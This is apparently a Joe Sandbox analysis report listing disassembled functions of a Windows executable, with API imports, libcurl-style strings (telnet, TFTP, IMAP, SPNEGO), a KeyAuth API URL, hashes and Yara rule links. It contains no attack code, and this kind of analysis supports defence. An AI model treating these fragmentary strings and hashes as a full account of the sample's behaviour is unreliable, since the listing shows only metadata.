Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$strrchr$__sys_nerrstrerrorstrncpy
String ID: Unknown error %d (%#x)
API String ID: 4262108436-2414550090
Opcode ID: 386f49717ce799f2919e61c9b6ba69ab02c74faa75e865e0592e627e6c6b58d9
Instruction ID: facc1cfd0ef367717f8e050cfddb93762eb7f6a75c435155503665c192f59672
Opcode Fuzzy Hash: 386f49717ce799f2919e61c9b6ba69ab02c74faa75e865e0592e627e6c6b58d9
Instruction Fuzzy Hash: 3731972160C65986EA257F75A41523DE653AF88F81FC80135D91E477B5DE3CF6018B20

Function 00007FF79B734930 Relevance: 19.8, APIs: 8, Strings: 5, Instructions: 266COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7349A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7349C6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7349E1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7349EF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B734A76
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B734AC5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B734B26
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B734CAC

Strings

Negotiate, xrefs: 00007FF79B734934, 00007FF79B734A3C, 00007FF79B734AE3
SPNEGO handshake failure (empty challenge message), xrefs: 00007FF79B734B76
CompleteAuthToken failed: %s, xrefs: 00007FF79B734D07
HTTP, xrefs: 00007FF79B734930
InitializeSecurityContext failed: %s, xrefs: 00007FF79B734CCA

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$calloc$malloc
String ID: CompleteAuthToken failed: %s$HTTP$InitializeSecurityContext failed: %s$Negotiate$SPNEGO handshake failure (empty challenge message)
API String ID: 3103867982-1477229593
Opcode ID: 9b585e6bd0feb1063935b59970e61f5a74aa7bdd2576848c92edd7d7f5558c6b
Instruction ID: cecd9b52389f4e440e997c3fe6f3f676afc4c9e14d0f9af4320f6152a5f22a00
Opcode Fuzzy Hash: 9b585e6bd0feb1063935b59970e61f5a74aa7bdd2576848c92edd7d7f5558c6b
Instruction Fuzzy Hash: 11C16E32A08B5986EB24EF79E4402ADB7A4FB48B88F800636DE4D47778DF78D645C750

Function 00007FF79B729D20 Relevance: 19.7, APIs: 4, Strings: 9, Instructions: 151stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF79B729D8B
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B729EB5

Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5757
Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5763

strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B729E6F

Part of subcall function 00007FF79B6F5690: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F56A0

Strings

Syntax error in telnet option: %s, xrefs: 00007FF79B729FC6
Unknown telnet option %s, xrefs: 00007FF79B729FAD
XDISPLOC, xrefs: 00007FF79B729E8B
BINARY, xrefs: 00007FF79B729F5E
USER,%s, xrefs: 00007FF79B729DB0
%127[^= ]%*[ =]%255s, xrefs: 00007FF79B729E30
TTYPE, xrefs: 00007FF79B729E45
%hu%*[xX]%hu, xrefs: 00007FF79B729F39
NEW_ENV, xrefs: 00007FF79B729ED1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freestrncpy$_strdupmemset
String ID: %127[^= ]%*[ =]%255s$%hu%*[xX]%hu$BINARY$NEW_ENV$Syntax error in telnet option: %s$TTYPE$USER,%s$Unknown telnet option %s$XDISPLOC
API String ID: 3826632026-748038847
Opcode ID: da2cc46d67d0a219d26850ebc5348b5f8784cef6f8666290cff01ef196f61833
Instruction ID: 1989f1120947da79ed8da26a397661a1486619c76cce76e5070e2d978e11dd11
Opcode Fuzzy Hash: da2cc46d67d0a219d26850ebc5348b5f8784cef6f8666290cff01ef196f61833
Instruction Fuzzy Hash: AD715E32A08ACA95EB31AF28D4456F9B361FF88784FC80233DA4C46675DF78E645C760

Function 00007FF79B72CE20 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 222networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32 ref: 00007FF79B72CF93
sendto.WS2_32 ref: 00007FF79B72D04C
WSAGetLastError.WS2_32 ref: 00007FF79B72D05A

Strings

Timeout waiting for block %d ACK. Retries = %d, xrefs: 00007FF79B72CE8D
tftp_tx: internal error, event: %i, xrefs: 00007FF79B72CE78
Received ACK for block %d, expecting %d, xrefs: 00007FF79B72CFE5
tftp_tx: giving up waiting for block %d ack, xrefs: 00007FF79B72D004

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: sendto$ErrorLast
String ID: Received ACK for block %d, expecting %d$Timeout waiting for block %d ACK. Retries = %d$tftp_tx: giving up waiting for block %d ack$tftp_tx: internal error, event: %i
API String ID: 4042023021-4197595102
Opcode ID: 2c42f4589fd93ccc31a9c772dbb528ab0ebb5ca0010053bde185be85adee39dc
Instruction ID: 1ceb66baa9efc4c450f06ce0f602e487b2d1e7e5105c1fac5b9c134ba31b790b
Opcode Fuzzy Hash: 2c42f4589fd93ccc31a9c772dbb528ab0ebb5ca0010053bde185be85adee39dc
Instruction Fuzzy Hash: 20B17B72608686C6E725AF39D4402A9B7A1FB8CB89F854233CE4D4B778DE38D641C760

Function 00007FF79B72C200 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

sendto.WS2_32 ref: 00007FF79B72C378
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B72C393
sendto.WS2_32 ref: 00007FF79B72C3FA
sendto.WS2_32 ref: 00007FF79B72C4B1
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B72C4E9

Strings

Timeout waiting for block %d ACK. Retries = %d, xrefs: 00007FF79B72C272
tftp_rx: internal error, xrefs: 00007FF79B72C24E
Received last DATA packet block %d again., xrefs: 00007FF79B72C445
Received unexpected DATA packet block %d, expecting block %d, xrefs: 00007FF79B72C4F1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: sendto$_time64
String ID: Received last DATA packet block %d again.$Received unexpected DATA packet block %d, expecting block %d$Timeout waiting for block %d ACK. Retries = %d$tftp_rx: internal error
API String ID: 2327272419-1785996722
Opcode ID: f659e7d6293575dd460c02bea57d72e403e3cd8a9ca2c00b7ad585d6ee1076f9
Instruction ID: 9eeb0af97242bb9f2c1b4178fd9d682efdbb59f94167aa0f1504fba5b2470b29
Opcode Fuzzy Hash: f659e7d6293575dd460c02bea57d72e403e3cd8a9ca2c00b7ad585d6ee1076f9
Instruction Fuzzy Hash: C5913A72608685C6E7619F3DD4503A97BA1FB9CB88F848232DA4D47778DF39D606C720

Function 00007FF79B703DF0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 151stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703E2D
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703EAF
strchr.VCRUNTIME140 ref: 00007FF79B703F2E
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B703F5C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B703F7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B703F8F

Strings

Invalid IPv6 address format, xrefs: 00007FF79B703F17
%25, xrefs: 00007FF79B703EA5
No valid port number in connect to host string (%s), xrefs: 00007FF79B703FBB
Please URL encode %% as %%25, see RFC 6874., xrefs: 00007FF79B703EB9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup$freestrchrstrncmpstrtol
String ID: %25$Invalid IPv6 address format$No valid port number in connect to host string (%s)$Please URL encode %% as %%25, see RFC 6874.
API String ID: 2070079882-2404041592
Opcode ID: c0389e6460597208a1fcbcc33ceaf34b3b224a0e2a46fa55c8373790c4765b53
Instruction ID: d0b72a165a2835a16d12780d008e78132e9a1fbd1788da0956355d723f71aab9
Opcode Fuzzy Hash: c0389e6460597208a1fcbcc33ceaf34b3b224a0e2a46fa55c8373790c4765b53
Instruction Fuzzy Hash: 7151E661A0C68A46EB31AB3D9C60379E7F19F0D794FC94233DA4D466B1DE6CE6458330

Function 00007FF79B6F9E00 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9E3E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9E5E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6F9E90
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6F9EAD
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9ECB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6F9EDC
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6F9EFC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79B6F4050), ref: 00007FF79B6F9FAF
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79B6F4050), ref: 00007FF79B6F9FC5

Strings

Set-Cookie:, xrefs: 00007FF79B6F9F36
none, xrefs: 00007FF79B6F9E53

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: fclosefree$__acrt_iob_func_strdupcallocfopenmalloc
String ID: Set-Cookie:$none
API String ID: 4109794434-3629594122
Opcode ID: 3b281a9d8fec38794cab6deb469b12af5d61e8eb2c6cb3d8728870ef85f7b18c
Instruction ID: b34da9cfbbe8eab5d35b1f107d06577827b451a88caf8f8fd5b3e128c7674867
Opcode Fuzzy Hash: 3b281a9d8fec38794cab6deb469b12af5d61e8eb2c6cb3d8728870ef85f7b18c
Instruction Fuzzy Hash: D851C421A0D78A41FB75BB396515279E692AF4AB80F884131DEAE027F1DF3CF6458331

Function 00007FF79B70B9D0 Relevance: 18.2, APIs: 2, Strings: 10, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B70BD66

Strings

read function returned funny value, xrefs: 00007FF79B70BC0B
Moving trailers state machine from initialized to sending., xrefs: 00007FF79B70BA11
Signaling end of chunked upload after trailers., xrefs: 00007FF79B70BDB0
Read callback asked for PAUSE when not supported!, xrefs: 00007FF79B70BBC9
%zx%s, xrefs: 00007FF79B70BC87
Unable to allocate trailing headers buffer !, xrefs: 00007FF79B70BA43
operation aborted by trailing headers callback, xrefs: 00007FF79B70BB5D
Signaling end of chunked upload via terminating chunk., xrefs: 00007FF79B70BCFA
Successfully compiled trailers., xrefs: 00007FF79B70BAAA
operation aborted by callback, xrefs: 00007FF79B70BB3D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy
String ID: %zx%s$Moving trailers state machine from initialized to sending.$Read callback asked for PAUSE when not supported!$Signaling end of chunked upload after trailers.$Signaling end of chunked upload via terminating chunk.$Successfully compiled trailers.$Unable to allocate trailing headers buffer !$operation aborted by callback$operation aborted by trailing headers callback$read function returned funny value
API String ID: 3510742995-1652449680
Opcode ID: d8d1418f8031cba0bf6fb4262a2c68856d9d2c7bea2d3532c97021ddabc94649
Instruction ID: d3ac4357fbb02dffc73fd795d05f6f7302d39d290bbf05aef417ff2c0e05a76f
Opcode Fuzzy Hash: d8d1418f8031cba0bf6fb4262a2c68856d9d2c7bea2d3532c97021ddabc94649
Instruction Fuzzy Hash: D1A16431A18A8A81E760EF39D8403F9B7A1EB89794F844233DD5D4B3B5DE7CE6459320

Function 00007FF79B71D9E0 Relevance: 18.2, APIs: 4, Strings: 8, Instructions: 207COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71DB10
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71DB26
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71DB89

Strings

Cannot SELECT without a mailbox., xrefs: 00007FF79B71DB3F
SELECT %s, xrefs: 00007FF79B71DB75
Cannot APPEND with unknown input file size, xrefs: 00007FF79B71DC87
Mime-Version, xrefs: 00007FF79B71DC16
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_, xrefs: 00007FF79B71D9F8
APPEND %s (\Seen) {%I64d}, xrefs: 00007FF79B71DCBD
Cannot APPEND without a mailbox., xrefs: 00007FF79B71DBB4
Mime-Version: 1.0, xrefs: 00007FF79B71DC31

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_$APPEND %s (\Seen) {%I64d}$Cannot APPEND with unknown input file size$Cannot APPEND without a mailbox.$Cannot SELECT without a mailbox.$Mime-Version$Mime-Version: 1.0$SELECT %s
API String ID: 1294909896-3146291949
Opcode ID: 7504568c3eadcb67795fcc710138e6e92c1df6eea46f795b5d6e6b2f2caaf592
Instruction ID: 8b4156567b27cc0648bcd706150d1101572832eb563601df98c2dc05b86d177a
Opcode Fuzzy Hash: 7504568c3eadcb67795fcc710138e6e92c1df6eea46f795b5d6e6b2f2caaf592
Instruction Fuzzy Hash: 4A918821B0C64A85EB74EB399490379A3A1EF8D784F844637DA4D472B1DF6CEA44C770

Function 00007FF79B6E1FB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6E2370: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2469
Part of subcall function 00007FF79B6E2370: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E24A8

Part of subcall function 00007FF79B6E4310: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4341

Part of subcall function 00007FF79B6E3BB0: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF79B6E1D8B), ref: 00007FF79B6E3BF6

Part of subcall function 00007FF79B6E5DD0: memcpy.VCRUNTIME140(?,?,?,00007FF79B6E1DBA), ref: 00007FF79B6E5E61

Part of subcall function 00007FF79B6E3C30: memcpy.VCRUNTIME140 ref: 00007FF79B6E3C83

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2121
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2171
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E21C2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2202
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2254
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2293
__std_exception_copy.VCRUNTIME140 ref: 00007FF79B6E22E6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2337

Strings

parse_error, xrefs: 00007FF79B6E2011
parse error, xrefs: 00007FF79B6E203B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy$__std_exception_copy
String ID: parse error$parse_error
API String ID: 2484256320-1820534363
Opcode ID: a32d99771af3680ddee151660196c7aed460eb1df2c5b25a283ec20f4fe15231
Instruction ID: 96ce97a6fb75950a7addc725e657a01d8779702b80643cf8d29a326e31de3c2f
Opcode Fuzzy Hash: a32d99771af3680ddee151660196c7aed460eb1df2c5b25a283ec20f4fe15231
Instruction Fuzzy Hash: A6B1A562A04B4985FB10EBB8E4443AD6762FB457A8F905731DB6D02AF9DF38E2D0C310

Function 00007FF79B70E160 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70E1F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70E238
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70E2D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70E2EA
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70E30B
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70E35A
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B70E3AA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70E3DF

Strings

Shuffling %i addresses, xrefs: 00007FF79B70E1DA
:%u, xrefs: 00007FF79B70E36E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc$_time64calloctolower
String ID: :%u$Shuffling %i addresses
API String ID: 133842801-338667637
Opcode ID: 4114e8447836235a13a173b76bc0726135e8d9328521724c093da3439fb84ab4
Instruction ID: 8cb8a17cbccb1e29969d1a4080cde6d7424d02431deaa60890fd56c62bdb47a3
Opcode Fuzzy Hash: 4114e8447836235a13a173b76bc0726135e8d9328521724c093da3439fb84ab4
Instruction Fuzzy Hash: C671A672A08A4681EB34AB29E8447A9B761FB4CB94F844633DE4E077B0DF3CD645C720

Function 00007FF79B70BDD0 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 162COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70BE4A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70BE65
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70BEE2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70BF6C

Strings

Switch from POST to GET, xrefs: 00007FF79B70C036
GET, xrefs: 00007FF79B70BFDE
Issue another request to this URL: '%s', xrefs: 00007FF79B70BF77
Switch to %s, xrefs: 00007FF79B70BFF7
HEAD, xrefs: 00007FF79B70BFD7
Maximum (%ld) redirects followed, xrefs: 00007FF79B70BF37

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Switch from POST to GET$Switch to %s
API String ID: 1865132094-1312055526
Opcode ID: b941f56203112eb735e749685b5e095cafadd7fb3b5203ee30a478e70944225f
Instruction ID: 8a3e8d07c3ecdf449ba2a6e797bc3f939e7894f3471a2123159b7af363688fde
Opcode Fuzzy Hash: b941f56203112eb735e749685b5e095cafadd7fb3b5203ee30a478e70944225f
Instruction Fuzzy Hash: 7971A661A0868A84E770AB3C98402BDB7A1EB49B94F980237DE4D4B7B5DF7DD6418370

Function 00007FF79B700F70 Relevance: 17.6, APIs: 14, Instructions: 106COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B700FED
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70100A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70101E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70103A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B701057
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70107A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70108E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010A2
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010C8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010DC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7010F0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70113F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B70114C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B7015F5), ref: 00007FF79B701175

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

